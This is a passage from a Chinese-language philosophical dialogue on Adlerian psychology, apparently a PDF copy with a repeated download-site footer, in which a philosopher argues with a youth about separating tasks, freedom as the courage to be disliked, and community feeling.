为我为你做了这些,所以你就应该给予相应回报”这样的想法。当然,
这是一种与课题分离相悖的思想。我们既不可以寻求回报,也不可以受
其束缚。
青年:嗯。
see more please visit: https://homeofpdf.com
哲人:但是,有些情况下不进行课题分离而是干涉别人的课题会更
加容易。例如孩子总是系不上鞋带,对繁忙的母亲而言,直接帮孩子系
上要比等着孩子自己系上更快。但是,这种行为是一种干涉,是在剥夺
孩子的课题。而且,反复干涉的结果会是孩子什么也学不到,最终还会
失去面对人生课题的勇气。阿德勒说:“没有学会直面困难的孩子最终
会想要逃避一切困难。”
青年:但是,这种想法也太枯燥了!
哲人:亚历山大大帝切断格尔迪奥斯绳结的时候也有人这么想。他
们认为绳结只有用手解开才有意义,用剑斩断是不对的做法,亚历山大
误解了神谕。阿德勒心理学中有反常识的方面:否定原因论、否定精神
创伤、采取目的论;认为人的烦恼全都是关于人际关系的烦恼;此外,
不寻求认可或者课题分离也全都是反常识的理论。
青年:……不,不可能!我根本做不到!
哲人:为什么?
哲人刚开始谈到的“课题分离”的内容太具冲击性。的确,当认为一
切烦恼皆源于人际关系的时候,课题分离的确有用。只要拥有这个观
点,世界就会变得简单。但是,这只是一种冷冰冰的说教,根本感觉不
到一丝人性的温暖。怎么能够接受这种哲学呢?青年从椅子上站起来大
声控诉。
see more please visit: https://homeofpdf.com
对认可的追求,扼杀了自由
青年:我一直都心怀不满!世上的长者们常常会对年轻人说:“做
自己喜欢做的事!”而且说这话的时候脸上还带着像理解者或者是朋友
般的笑。但是,这样的话恐怕也就对那些跟自己没有什么关系也不必负
责任的陌生年轻人说说而己吧!
另一方面,父母或老师会给出一些“要上那个学校”或者“得找一份
安定的工作”之类的无趣指示,这其实并不仅仅是一种干涉,反而是一
种负责任的表现。正因为关系亲近才会认真地为对方的将来考虑,所以
才说不出“做自己喜欢的事”之类的不负责任的话!先生您也一定会像理
解者一样对我说“去做自己喜欢的事情”吧。但是,我并不相信别人的这
种话!这是一种就像轻轻拂去落在肩上的毛毛虫一样极其不负责任的
话!假如有人将那只毛毛虫踩死了,先生一定会冷冷地说一句“那不是
我的课题”便扬长而去吧!什么课题分离呀?太没人性啦!
哲人:呵呵呵。你有些不冷静啊。总而言之,你在某种程度上希望
被干涉或者希望他人来决定自己的道路吗?
青年:也许是吧!是这么回事!别人对自己抱有怎样的期待或者自
己被别人寄予了什么样的希望,这并不难以判断。另一方面,按照自己
喜欢的方式去生活却非常难。自己期望什么、想要成为什么、希望过怎
样的人生,这些都很难具体把握。如果认为人人都有明确的梦想或目
标,那可就大错特错了。先生难道连这也不明白吗?!
哲人:的确,按照别人的期待生活会比较轻松,因为那是把自己的
人生托付给了别人,比如走在父母铺好的轨道上。尽管这里也会有各种
不满,但只要还在轨道了走着就不会迷路。但是,如果要自己决定自己
的道路,那就有可能会迷路,甚至也会面临着“该如何生存”这样的难
题。
青年:我寻求别人的认可就在于此!刚刚先生也提到了神的话题,
如果是人人都相信神的时代,“神在看着”就有可能成为自律的规范。或
许只要得到了神的认可,那就没有必要再去寻求别人的承认了。但是,
那样的时代早己经结束了。如果是这样,那就只能靠“别人在看着”来进
行自律了,也就是以获得别人的认可为目标而认真生活。别人的看法就
是自己的路标!
see more please visit: https://homeofpdf.com
哲人:是选择别人的认可还是选择得不到认可的自由之路,这是非
常重要的问题。咱们一起来思考一下,在意别人的视线、看着别人的脸
色生活、为了满足别人的期望而活着,这或许的确能够成为一种人生路
标,但这却是极其不自由的生活方式。
那么,为什么要选择这种不自由的生活方式呢?你用了“认可欲
求”这个词,总而言之就是不想被任何人讨厌。
青年:哪里有想故意惹人厌的人呢?
哲人:是的。的确没有希望惹人厌的人。但是,请你这样想:为了
不被任何人厌恶需要怎么做呢?答案只有一个。那就是时常看着别人的
脸色并发誓忠诚于任何人。如果周围有10个人,那就发誓忠诚于10个
人。如果这样的话,暂时就可以不招任何人讨厌了。
但是,此时有一个大矛盾在等着你。因为一心不想招人讨厌,所以
就发誓忠诚于全部10个人,这就像陷入民粹主义的政治家一样,做不到
的事情也承诺“能做到”,负不起的责任也一起包揽。当然,这种谎言不
久后就会被拆穿,然后就会失去信用使自己的人生更加痛苦。自然,继
续撒谎的压力也超出想象。
这一点请你一定好好理解。为了满足别人的期望而活以及把自己的
人生托付给别人,这是一种对自己撒谎也不断对周围人撒谎的生活方
式。
青年:那么,您是说要以自我为中心任性地活着吗?
哲人:分离课题并不是以自我为中心,相反,干涉别人的课题才是
以自我为中心的想法。父母强迫孩子学习甚至对其人生规划或结婚对象
指手画脚,这些都是以自我为中心的想法。
青年:那么,孩子可以不顾父母的意愿任性地生活吗?
哲人:没有任何理由不可以过自己喜欢的人生。
青年:哎呀!先生您可既是虚无主义者,又是无政府主义者,同时
还是享乐主义者啊!真是让人既吃惊又觉得可笑!
哲人:选择了不自由生活方式的大人看着自由活在当下的年轻人就
see more please visit: https://homeofpdf.com
会批判其“享乐主义”。当然,这其实是为了让自己接受不自由生活而捏
造出的一种人生谎言。选择了真正自由的大人就不会说这样的话,相反
还会鼓励年轻人要勇于争取自由。
青年:好吧,您最终还是说自由的问题吧?那么,我们就赶快进入
正题吧。刚才几次提到了自由,那么先生认为的自由究竟是什么呢?我
们又如何才能获得自由呢?
see more please visit: https://homeofpdf.com
自由就是被别人讨厌
哲人:你刚才承认“不想被任何人讨厌”,并且说“想要故意招人讨
厌的人根本没有”。
青年:是的。
哲人:我同意,也不希望被别人讨厌。“没有人愿意故意招人厌”这
可以说是一种非常敏锐的洞察。
青年:是普遍欲求!
哲人:虽说如此,但不管我们怎么努力,都既会有讨厌我的人也会
有讨厌你的人,这也是事实。当你被别人讨厌的时候或者感觉可能被人
讨厌的时候有什么感觉呢?
青年:那当然是很痛苦啊,会非常自责并耿耿于怀地冥思苦想:为
什么会招人讨厌、自己的言行哪里不对、以后该如何改进待人接物的方
式等。
哲人:不想被别人讨厌,这对人而言是非常自然的欲望和冲动。近
代哲学巨人康德把这种欲望称作“倾向性”。
青年:倾向性?
哲人:是的,也就是本能性的欲望、冲动性的欲望。那么,按照这
种“倾向性”,也就是按照欲望或冲动去生活、像自斜坡上滚下来的石头
一样生活,这是不是“自由”呢?绝对不是!这种生活方式只是欲望和冲
动的奴隶。真正的自由是一种把滚落下来的自己从下面向上推的态度。
青年:从下面向上推?
哲人:石块无力。一旦开始从斜坡上滚落,就一直会按照重力或惯
性等自然法则不停滚动。但是,我们并不是石块,是能够抵抗倾向性的
存在,可以让滚落的自己停下来并重新爬上斜坡。也许认可欲求是自然
性的欲望。那么,难道为了获得别人的认可就要一直从斜坡上滚落下去
吗?难道要像滚落的石头一样不断磨损自己,直至失去形状变成浑圆
吗?这样产生的球体能叫“真正的自我”吗?根本不可能!
see more please visit: https://homeofpdf.com
青年:您是说对抗本能和冲动便是自由?
哲人:就像我前面反复提到的那样,阿德勒心理学认为“一切烦恼
皆源于人际关系”。也就是说,我们都在追求从人际关系中解放出来的
自由。但是,一个人在宇宙中生存之类的事情根本不可能。想到这里自
然就能明白何谓自由了吧。
青年:是什么?
哲人:也就是说“自由就是被别人讨厌”。
青年:什、什么?!
哲人:是你被某人讨厌。这是你行使自由以及活得自由的证据,也
是你按照自我方针生活的表现。
青年:哎、哎呀,但是
哲人:的确,招人讨厌是件痛苦的事情。如果可能的话,我们都想
毫不讨人嫌地活着,想要尽力满足自己的认可欲求。但是,八面玲珑地
讨好所有人的生活方式是一种极其不自由的生活方式,同时也是不可能
实现的事情。
如果想要行使自由,那就需要付出代价。而在人际关系中,自由的
代价就是被别人讨厌。
青年:不对!绝对不对!这不是自由!这是一种教唆人为恶的恶魔
思想!
哲人:你一定认为自由就是“从组织中解放出来”吧。认为自由就是
从家庭、学校、公司或者国家等团体中跳出来。但是,即使跳出组织也
无法得到真正的自由。毫不在意别人的评价、不害怕被别人讨厌、不追
求被他人认可,如果不付出以上这些代价,那就无法贯彻自己的生活方
式,也就是不能获得自由。
青年:……先生是对我说“要去惹人厌”吗?
哲人:我是说不要害怕被人讨厌。
see more please visit: https://homeofpdf.com
青年:但是,那……
哲人:并不是说要去故意惹人讨厌或者是去作恶。这一点请不要误
解。
青年:不不,那我换个问题吧。人到底能不能承受自由之重呢?人
有那么强大吗?能够自以为是地将错就错,即使被父母讨厌也无所谓
吗?
哲人:既不是自以为是,也不是将错就错,只是分离课题。即使有
人不喜欢你,那也并不是你的课题。并且,“应该喜欢我”或者“我己经
这么努力了还不喜欢我也太奇怪了”之类的想法也是一种干涉对方课题
的回报式的思维。不畏惧被人讨厌而是勇往直前,不随波逐流而是激流
勇进,这才是对人而言的自由。如果在我面前有“被所有人喜欢的人
生”和“有人讨厌自己的人生”这两个选择让我选的话,我一定会毫不犹
豫地选择后者。比起别人如何看自己,我更关心自己过得如何。也就是
想要自由地生活。
青年:……先生现在自由吗?
哲人:是的。我很自由。
青年:虽然不想被人讨厌,但即使被人讨厌也没有关系?
哲人:是啊。“不想被人讨厌”也许是我的课题,但“是否讨厌我”却
是别人的课题。即使有人不喜欢我,我也不能去干涉。如果用刚才介绍
过的那个谚语说的话,那就是只做“把马带到水边”的努力,是否喝水是
那个人的课题。
青年:那么结论呢?
哲人:获得幸福的勇气也包括“被讨厌的勇气”。一旦拥有了这种勇
气,你的人际关系也会一下子变得轻松起来。
see more please visit: https://homeofpdf.com
人际关系“王牌”,握在你自己手里
青年:但是,我真没想到来到哲学家的房间会听到“被人讨厌”之类
的话题。
哲人:我也知道这个话题不太容易理解,理解消化它需要一定的时
间。今天如果继续谈论下去恐怕你也无法接受。那么,关于课题分离,
最后我再说一件我自己的事情,以此作为今天的结束吧。
青年:好的。
哲人:这也是我和父母之间关系的事情。我自幼就与父亲关系不
好,几乎从未进行过真正的对话。我20多岁的时候母亲去世了,之后我
与父亲的关系就更加恶化。对,这种情况一直持续到我邂逅阿德勒心理
学并理解了阿德勒思想。
青年:您和父亲的关系为什么不好呢?
哲人:我记忆中有被父亲殴打的印象。具体为什么不记得了,只记
得我被打得逃到桌子底下又被父亲拽出来狠狠地打,并且不是一次而是
很多次。
青年:那种恐惧成了一种精神创伤……
哲人:在邂逅阿德勒心理学之前我也是这么理解的。因为父亲是一
个沉默寡言、不好接近的人。但是,认为“因为那时候被打所以关系不
和”是弗洛伊德式的原因论的想法。如果站在阿德勒目的论的立场上,
因果律的解释就会完全倒过来。也就是说,我“为了不想与父亲搞好关
系,所以才搬出被打的记忆”。
青年:也就是说先生您是先有不想与父亲和好这一“目的”?
哲人:是的。对我来说,不修复与父亲之间的关系更合适,因为如
果自己的人生不顺利就可以归咎于父亲。这其中有对我来说的“善”,也
许还有对封建的父亲的“报复”。
青年:我正好想问这一点!假如因果律发生了逆转,用先生的情况
来讲就是可以自我剖析为“不是因为被打所以才与父亲不和,而是因为
see more please visit: https://homeofpdf.com
不想与父亲和好所以才搬出被打的记忆”。那具体会有什么变化呢?孩
童时代被打的事实不会改变吧?
哲人:这一点可以从“人际关系之卡”这个观点来进行考虑。只要是
按照原因论认为“因为被打所以才与父亲不和”,那么现在的我就只能束
手无策了。但是,如果认为“因为不想与父亲和好所以才搬出被打的记
忆”,那“关系修复之卡”就会握在自己手中。因为只要我改变“目的”,
事情就能解决。
青年:真的能解决吗?
哲人:当然。
青年:真能发自内心地那样认为吗?虽然作为道理能够明白,但感
觉上还是无法接受。
哲人:还是课题分离。的确,父亲和我的关系很复杂。实际上,父
亲是个非常固执的人,他的心不会轻易发生变化;不止如此,很可能就
连对我动过手的事情都忘记了。
但是,当我下定修复关系之“决心”的时候,父亲拥有什么样的生活
方式、怎么看我、对我主动靠近他这件事持什么态度等,这些与我都毫
无关系了。即使对方根本不想修复关系也无所谓。问题是我有没有下定
决心,“人际关系之卡”总是掌握在自己手中。
青年:人际关系之卡总是掌握在自己手中……
哲人:是的。很多人认为人际关系之卡由他人掌握着。正因为如此
才非常在意“那个人怎么看我”,选择满足他人希望的生活方式。但是,
如果能够理解课题分离就会发现,其实一切的卡都掌握在自己手中。这
会是全新的发现。
青年:那么,实际上通过先生的改变,您父亲也发生变化了吗?
哲人:我的变化不是“为了改变父亲”。那是一种想要操纵别人的错
误想法。
我改变了,发生变化的只是“我”。作为结果,对方会怎样我不知
道,也无法左右,这也是课题分离。当然,随着我的变化——不是通过
see more please visit: https://homeofpdf.com
我的变化——对方也会发生改变。也许很多情况下对方不得不改变,但
那不是目的,而且也可能不会发生。总之,把改变自己当成操纵他人的
手段是一种极其错误的想法。
青年:既不可以去操纵他人,也不能操纵他人。
哲人:提到人际关系,人们往往会想起“两个人的关系”或者“与很
多人的关系”,但事实上首先是自己。如果被认可欲求所束缚,那么“人
际关系之卡”就会永远掌握在他人手中。是把这张卡托付于他人,还是
由自己掌握?课题分离,还有自由,关于这些请你回去后好好整理一
下。下一次我还在这里等你。
青年:知道了。我会一个人好好考虑。
哲人:那么……
青年:最后我还想问您一个、就一个问题。
哲人:什么?
青年:您和您父亲的关系最终和好了吗?
哲人:是的,当然,至少我是这么认为的。父亲晚年患了病,最后
几年需要我和家人的照顾。
有一天,父亲对像往常一样照顾他的我说“谢谢”。从不知道父亲的
词典里还会有这个词的我非常震惊,同时也对之前的日子满怀感激。我
认为通过长期的看护生活,自己做到了能做的事情,也就是把父亲带到
水边。而且,最终父亲喝了水。我是这么认为的。
青年:……谢谢。那么,下次这个时间我再来拜访。
哲人:今天很愉快。谢谢你!
see more please visit: https://homeofpdf.com
第四夜 要有被讨厌的勇气
差点就被骗了!第二周,青年愤然叩响了哲人的门。课题分离想法
的确有用,上一次也确实接受了。但是,那岂不是一种非常孤独的生活
方式吗?分离课题、减轻人际关系负担,不也就意味着要失去与他人的
联系吗?最后岂不是要落得遭人厌弃?如果这叫做自由,那我宁可选择
不自由。
see more please visit: https://homeofpdf.com
see more please visit: https://homeofpdf.com
see more please visit: https://homeofpdf.com
个体心理学和整体论
哲人:哎呀,你好像不高兴啊。
青年:关于课题分离还有自由,那之后我又独自冷静地想了想,等
感情冷却之后用理性的头脑想了想。即使如此,我还是认为课题分离不
可能实现。
哲人:哦。请你讲一讲。
青年:分离课题,这最终是一种划清“我是我、你是你”界限的想
法。的确,人际关系的烦恼也许会减少,但这种生活方式真的正确吗?
我只能认为它是一种极其以自我为中心的错误的个人主义。在我第一次
来拜访的时候,您好像说过阿德勒心理学的正式名称是“个体心理
学”吧?我一直很在意这个名字,现在终于理解了。总而言之,阿德勒
心理学即个体心理学,是引导人走向孤立的个人主义的学问。
哲人:的确,阿德勒所命名的“个体心理学”这一名称也许很容易招
人误解。在这里我要简单做一下说明。首先,在英语中,个体心理学叫
作“individualpsychology'’。而且,这里的个人(individual)—词在语源
上有”不可分割“的意思。
青年:不可分割?
哲人:总之就是不可再分的最小单位的意思。那么具体来讲,什么
不可以分割呢?阿德勒反对把精神和身体、理性和感情以及意识和无意
识等分开考虑的一切二元论的价值观。
青年:什么意思?
哲人:比如,请你想一想那位因为脸红恐惧症而来咨询的女学生的
话。她为什么会得脸红恐惧症呢?阿德勒心理学不把身体症状与心灵
(精神)分离开来考虑,而是认为心灵和身体是不可分割的一个”整
体“,就好比由于内心的紧张手脚会发抖、脸颊会变红或者由于恐惧而
脸色苍白等。
青年:心灵和身体会有联系部分吧。
see more please visit: https://homeofpdf.com
哲人:理性和感情、意识和无意识也是一样。一般情况下,冷静的
人不会因被冲动驱使而大发雷霆。我们并不是受感情这一独立存在所左
右,而是一个统一的整体。
青年:不,这不对。只有把心灵和身体、理性和感情、意识和无意
识这些因素明确区分开来进行考虑,才能正确理解人的本质。这不是理
所当然的道理吗?
哲人:当然,心灵和身体是不一样的存在,理性和感情也各有不
同,而且还有有意识和无意识之分,这些都是事实。
但是,当对他人大发雷霆的时候,那是”作为整体的我“选择了勃然
大怒,绝对不是感情这一独立存在——可以说与我的意志无关——发出
了怒吼。在这里,如果把”我“和”感情“分离开来认为”感情让我那么做
或者受感情驱使“,那就容易陷入人生谎言。
青年:您是说我对服务员发火那件事吧?
哲人:是的。像这样把人看作不可分割的存在和作为”整体的我“来
考虑的方式叫作”整体论“。
青年:那倒是可以。但是先生,我并不想听您空谈”个人“的定义。
如果彻底探讨阿德勒心理学会发现它最终将把人导向”我是我、你是
你“的孤立境地。也就是我不干涉你,你也别干涉我,彼此都任性地活
着。请您坦率地分析一下这一点。
哲人:明白了。关于一切烦恼皆源于人际关系这一阿德勒心理学的
基本思想,你己经理解了吧?
青年:是的。作为解决这种烦恼的手段,出现了人际关系方面的不
干涉,即课题分离这一观点。
哲人:我上次应该说过这样的话——”要想缔结良好的人际关系,
需要保持一定距离:太过亲密就无法正面对话。但是,距离也不可以太
远。“课题分离不是为了疏远他人,而是为了解开错综复杂的人际关系
之线。
青年:解开线?
see more please visit: https://homeofpdf.com
哲人:是的。你现在是把自己的线和他人的线乱糟糟地缠在一起来
看世界。红、蓝、黄、绿,一切颜色都混杂在一起,这种状态叫”缠
绕“,而不是”联系“。
青年:那么,先生又是如何看待”联系“的呢?
哲人:上一次,作为解决人际关系烦恼的处方,我谈到了课题分
离。但是,人际关系并不止于课题分离。相反,分离课题是人际关系的
出发点。今天我们来深入讨论一下阿德勒心理学是如何看待整个人际关
系的以及我们应该与他人缔结什么样的人际关系。
see more please visit: https://homeofpdf.com
人际关系的终极目标
青年:那么,我来问一下。在这里请您只简单地回答结论。先生您
说课题分离是人际关系的出发点。那么,人际关系的”终点“在哪里呢?
哲人:如果只回答结论的话,那就是”共同体感觉“。
青年:共同体感觉?
哲人:是的。这是阿德勒心理学的关键概念,也是争议最大的地
方。事实上,当阿德勒提出共同体感觉这一概念的时候,很多人都离他
而去。
青年:好像很有意思啊。那么,那是怎样的概念呢?
哲人:上上次说到过”是把别人看成‘敌人’还是看成‘伙伴’“这个话
题吧?
在这里我们再深入考虑一下。如果他人是伙伴,我们生活在伙伴中
间,那就能够从中找到自己的”位置“,而且还可以认为自己在为伙伴们
一一也就是共同体——做着贡献。像这样把他人看作伙伴并能够从中感
到”自己有位置“的状态,就叫共同体感觉。
青年:究竟哪里是重点呢?这主张也太空洞了吧?
哲人:问题是”共同体“的内容。你听到共同体这个词会有什么印象
呢?
青年:哎呀,应该就是家庭、学校、单位、地域社会之类的范围
吧。
哲人:阿德勒认为他自己所叙述的共同体不仅仅包括家庭、学校、
单位、地域社会,还包括国家或人类等一切存在;在时间轴上还包括从
过去到未来,甚至也包括动植物或非生物。
青年:啊?!
哲人:也就是主张共同体并不是我们普遍印象中的”共同体“概念所
see more please visit: https://homeofpdf.com
指的既有范围,而是包括了从过去到未来,甚至包括宇宙整体在内
的”一切“。
青年:不不,根本弄不懂是什么意思。宇宙?过去或未来?您究竟
在说什么呢?
哲人:听了这话,大部分人都会产生同样的疑问。马上理解的确很
难。甚至阿德勒本人都承认自己所说的共同体是”难以实现的理想“。
青年:哈哈,这就麻烦了啊!那么,我反过来问问您。先生您能够
彻底理解并接受这种甚至包括了宇宙整体的共同体感觉吗?
哲人:我认为是。而且,我甚至认为,如果不理解这一点就无法理
解阿德勒心理学。
青年:啊?
哲人:就像我一直说的那样,阿德勒心理学认为”一切烦恼皆源于
人际关系“。不幸之源也在于人际关系。反过来说就是,幸福之源也在
于人际关系。
青年:的确。
哲人:共同体感觉是幸福的人际关系的最重要的指标。
青年:愿闻其详。
哲人:在英语中,共同体感觉叫作”socialinterest“,也就是”对社会
的关心“。这里我要问问你,你知道社会学上所讲的社会的最小单位是
什么吗?
青年:社会的最小单位?哎呀,是家庭吧。
哲人:不对,是”我和你“。只要有两个人存在,就会产生社会、产
生共同体。要想理解阿德勒所说的共同体感觉,首先可以以”我和你“为
起点。
青年:以此为起点怎么做呢?
see more please visit: https://homeofpdf.com
哲人:把对自己的执著(selfinterest)变成对他人的关心
(socialinterest)。
青年:对自己的执著?对他人的关心?这又是什么呢?
see more please visit: https://homeofpdf.com
”拼命寻求认可“反而是以自我为中心?
哲人:那么,具体考虑一下吧。这里我们把”对自己的执著“这个词
换成更容易理解的‘’以自我为中心”。在你印象中,以自我为中心的人是
什么样的人呢?
青年:哦,首先想到的是暴君一样的人物吧,残暴蛮横、不顾别人
的感受、只考虑自己,认为整个世界都要围着自己转,依仗权力或暴
力,像专制君主一样横行霸道,对周围人来说是非常麻烦的人物。莎士
比亚戏剧中的李尔王等就是典型的暴君类型。
哲人:的确如此。
青年:另一方面,虽不是暴君,但却破坏集团和谐的人物也可以说
是以自我为中心。不参加集体活动而喜欢单独行动,即使迟到或者爽约
也毫不反省。用一句话形容就是自私任性的人。
哲人:的确,对以自我为中心的人物的一般印象就是这些。但是,
还必须再加上一种类型。实际上,不能进行“课题分离”、一味拘泥于认
可欲求的人也是极其以自我为中心的人。
青年:为什么?
哲人:请你考虑一下认可欲求的实质——他人如何关注自己、如何
评价自己?又在多大程度上满足自己的欲求?受这种认可欲求束缚的人
看似在看着他人,但实际上眼里却只有自己。失去了对他人的关心而只
关心“我”,也就是以自我为中心。
青年:那么,也就是说像我这样非常在意别人评价的人也是以自我
为中心吗?虽然如此竭尽全力地在迎合他人?!
哲人:是的。在只关心“我”这个意义上来讲,是以自我为中心。你
正因为不想被他人认为自己不好,所以才在意他人的视线。这不是对他
人的关心,而是对向己的执著。
青年:但是……
哲人:上一次我也说过。有人认为你不好,那证明你活得自由,或
see more please visit: https://homeofpdf.com
许从中能感到以自我为中心的气息。但是,我们现在要讨论的不是这一
点。一味在意“他人怎么看”的生活方式正是只关心“我”的自我中心式的
生活方式。
青年:啊?这可真是令人吃惊的言论啊!
哲人:不仅仅是你,凡是执著于“我”的人都是以自我为中心的。所
以,必须把“对自己的执著”换成“对他人的关心”。
青年:好吧。的确,我只看到了自己,这一点我承认。不是如何看
待他人,而是只在意自己如何被看待。即使被说成是自我为中心,我也
无法反驳。但是,请您也想一想:如果把我的人生看作是一部长篇电
影,那主人公肯定是“我”吧?那么,把摄像机聚焦到主人公身上有什么
错呢?
see more please visit: https://homeofpdf.com
你不是世界的中心,只是世界地图的中心
哲人:请按顺序想一想。我们首先是作为共同体的一员从属于共同
体,能够感觉到在共同体中有自己的位置并能体会到“可以在这里”,也
就是拥有归属感,这是人的基本欲求。
例如,学业、工作、交友,还有恋爱和结婚等,这一切都与寻求归
属感紧密相关的。你不这么认为吗?
青年:啊,是的,是的!深有同感!
哲人:而且,自己人生的主人公是“我”。这种认识并没有问题。但
是,这并不意味着“我”君临于世界的中心。“我”是自己人生的主人公,
同时也是共同体的一员、是整体的一部分。
青年:整体的一部分?
哲人:只关心自己的人往往认为自己位于世界的中心。对于这样的
人来说,他人只是“为我服务的人”;他们甚至会认为:“大家都应该为
我服务,应该优先考虑我的心情。”
青年:就像王子或公主一样。
哲人:是的,正是如此。他们超越了“人生的主人公”,进而越位
到“世界的主人公”。因此,在与他人接触的时候总是会想:“这个人给
了我什么?”
但是,这一点恐怕就是跟王子或公主不同的地方吧——这种期待并
不会每次都能被满足,因为“别人并不是为了满足你的期待而活”。
青年:的确。
哲人:因此,当期待落空的时候,他们往往会大失所望并感觉受到
了极大的屈辱,而且还会非常愤慨,产生诸如“那个人什么也没有为我
做,”那个人辜负了我的期望“或者”那个人不再是朋友而是敌人“之类的
想法。抱着自己位于世界中心这种信念的人很快就会失去”朋友“。
青年:这就奇怪了。先生您自己不也说了吗?我们生活在主观的世
see more please visit: https://homeofpdf.com
界中。只要世界是主观的空间,那么位于其中心的就肯定是我。这一点
毫无挪移!
哲人:也许你在说”世界“这个词的时候往往会想起世界地图之类的
东西吧。
青年:世界地图?什么意思?
哲人:例如,在法国使用的世界地图上,美洲大陆位于左端,右端
则是亚洲,被绘制在地图中心的是欧洲,是法国。另一方面,如果是中
国使用的地图,那么中国就会被绘制在中心位置,美洲大陆在右端、欧
洲在左端。也许法国人在看中国版世界地图的时候会产生一种难以名状
的不协调感,认为自己被非常不当地赶到了边缘,仿佛世界被任意切割
了一样。
青年:是的,肯定会那样。
哲人:但是,在地球仪上看世界的时候又会如何呢?如果是地球
仪,既可以把法国看作中心,也可以把中国看作中心,还可以把巴西看
作中心。一切地方都是中心,同时一切地方又都不是中心。根据看的人
所处的位置或角度可以产生无数个中心。这就是地球仪。
青年:嗯,的确如此。
哲人:刚才所说的”你并不是世界的中心“也是一样,你是共同体的
一部分,而不是中心。
青年:我并不是世界的中心。世界不是被切割成平面的地图而是像
地球仪一样的球体。哎呀,作为道理大体能明白,但为什么一定要特别
意识到”不是世界的中心“呢?
哲人:这应该再回到最初的话题。我们都在寻求”可以在这里“的归
属感。但是,阿德勒心理学认为归属感不是仅仅靠在那里就可以得到
的,它必须靠积极地参与到共同体中去才能够得到。
青年:积极地参与?具体是什么意思呢?
哲人:就是直面”人生课题“。也就是不回避工作、交友、爱之类的
人际关系课题,要积极主动地去面对。如果你认为自己就是世界的中
see more please visit: https://homeofpdf.com
心,那就丝毫不会主动融入共同体中,因为一切他人都是”为我服务的
人“,根本没必要由自己采取行动。
但是,无论是你还是我,我们都不是世界的中心,必须用自己的脚
主动迈出一步去面对人际关系课题;不是考虑”这个人会给我什么“,而
是要必须思考一下”我能给这个人什么“。这就是对共同体的参与和融
入。
青年:您是说只有付出了才能够找到自己的位置?
哲人:是的。归属感不是生来就有的东西,要靠自己的手去获得。
共同体感觉是阿德勒心理学的关键概念,也是最具争议的观点。的
确,这种观点对青年来说很难马上接受。而且,对于被指出”你是以自
我为中心“这件事,他也是心怀不满。但是,最接受不了的还是甚至包
括宇宙或非生物在内的共同体范围问题。阿德勒还有哲人究竟在说什么
呢?青年一脸困惑地开口说话了。
see more please visit: https://homeofpdf.com
在更广阔的天地寻找自己的位置
青年:哎呀,越来越不明白了。请让我整理一下。首先,人际关系
的起点是”课题分离“,终点是”共同体感觉“。而且,共同体感觉是
指”把他人看成朋友,并在其中能够感受到有自己的位置“。这些都还容
易理解,也能够接受。
但是,细节部分还是无法接受。例如,其中的”共同体“扩展到了宇
宙整体,还包括了过去和未来,甚至从生物到非生物,这是什么意思
呢?
哲人:如果按照字面意思把阿德勒所说的”共同体“概念想象成实际
的宇宙或非生物的话,那就会很难理解。当前我们可以理解成共同体范
围”无限大“。
青年:无限大?
哲人:例如,有人一旦退休便立即没了精神。被从公司这个共同体
中分离出来,失去了头衔、失去了名片,成了无名的”平凡人“,也就是
变得普通了,有人接受不了这一变化就会一下子衰老。
但是,这只不过是从公司这个小的共同体中被分离出来而己,任何
人都还属于别的共同体。因为,无论怎样,我们的一切都属于地球这个
共同体,属于宇宙这个共同体。
青年:这只不过是诡辩而已!突然听到有人告诉自己”你属于宇
宙“,这到底能带来什么归属感呢?!
哲人:的确,宇宙很难立刻想象出来。但是,希望你不要只拘泥于
眼前的共同体,而要意识到自己还属于别的共同体,属于更大的共同
体,例如国家或地域社会等,而且在哪里都可以作出某些贡献。
青年:那么,这种情况怎么样呢?假设有一个人既没有结婚,也还
没有工作、没有朋友,且不与任何人交往,仅靠父母的遗产生活。他逃
避”工作课题“”交友课题“和”爱的课题“等一切人生课题。可以说这样的
人也属于某种共同体吗?
哲人:当然。假如他要买一片面包,相应地要支付一枚硬币。这枚
see more please visit: https://homeofpdf.com
被支付的硬币不仅可以联系到面包店的工作人员,还可以联系到小麦或
黄油的生产者,抑或是运输这些物品的流通行业的工作人员、销售汽油
的从业人员,还有产油国的人们等,这一切都可以说环环相扣紧密相
连。人绝不会,也不可能离开共同体”独自“生活。
青年:您是说要在买面包的时候空想这么多?
哲人:不是空想,这是事实。阿德勒所说的共同体不仅包括家庭或
公司等看得见的存在,也包括那些看不见的联系。
青年:先生您正逃避在抽象论中。现在的重点问题是”可以在这
里“这样的归属感。而在归属感这一意义上,也多为能够看得见的共同
体。这一点您承认吧?
例如,在拿”公司“这个共同体和”地球“这个共同体相比较的时
候,”我是这个公司的一员“这种归属感会更强。用先生的话说就是,人
际关系的距离和深度完全不一样。我们在寻求归属感的时候,理所当然
地会去关注更小的共同体。
哲人:你说得很深刻。那么,请你想一想,为什么我们应该意识到
更多更大的共同体。
我还要重复一下,我们都属于多个共同体。属于家庭、属于学校、
属于企业、属于地域社会、属于国家等。这一点你同意吧?
青年:同意。
哲人:那么,假设你是学生只看到”学校“这个共同体。也就是说,
学校就是一切,我正因为有了学校才是”我“,这之外的”我“根本不可能
存在。
但是,在这个共同体中自然也会遇到某些麻烦——受欺负、交不到
朋友、功课不好或者是根本无法适应学校这个系统。也就是,”我“有可
能对于学校这个共同体不能产生”可以在这里“的归属感。
青年:是的、是的。非常有可能。
哲人:这种时候,如果认为学校就是一切,那你就会没有任何归属
感。然后就会逃避到更小的共同体,例如家庭之中,并且还会躲在里面
see more please visit: https://homeofpdf.com
不愿出去,有时候甚至会陷入家庭暴力等不良状况,想要通过这样做来
获得某种归属感。
但是,在这里希望你能关注的是”还有更多别的共同体“,特别
是”还有更大的共同体“。
青年:什么意思呢?
哲人:在学校之外,还有更加广阔的世界。而且,我们都是那个世
界的一员。如果学校中没有自己位置的话,还可以从学校”外面“找到别
的位置,可以转学,甚至可以退学。一张退学申请就可以切断联系的共
同体终归也就只是那种程度的联系。
如果了解了世界之大,就会明白自己在学校中所受的苦只不过
是”杯中风暴“而己。只要跳出杯子,猛烈的风暴也会变成微风。
青年:您是说如果闭门不出就无法到杯子外边去?
哲人:闷在自己房间里就好比停留在杯子里躲在一个小小的避难所
里一样。即使能够临时避雨,但暴风雨却不会停止。
青年:哎呀,道理上也许是如此。但是,跳到外面去很难。就连退
学这种决断也没有那么容易。
哲人:是的,的确不简单。这里有需要记住的行动原则。当我们在
人际关系中遇到困难或者看不到出口的时候,首先应该考虑的是”倾听
更大共同体的声音“这一原则。
青年:更大共同体的声音?
哲人:如果是学校,那就不要用学校这个共同体的常识(共通感
觉)来判断事物,而要遵从更大共同体的常识。
假设在你的学校教师是绝对的权力主导者,但那种权力或权威只是
